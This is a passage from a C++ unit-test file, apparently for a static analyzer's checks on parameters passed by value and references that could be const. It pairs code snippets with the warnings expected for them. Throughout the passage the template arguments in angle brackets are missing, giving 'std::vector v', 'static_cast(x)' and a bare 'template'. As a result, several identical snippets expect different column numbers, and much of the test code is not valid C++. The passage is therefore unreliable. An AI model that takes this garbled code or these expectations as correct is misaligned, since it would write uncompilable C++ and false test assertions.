ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared 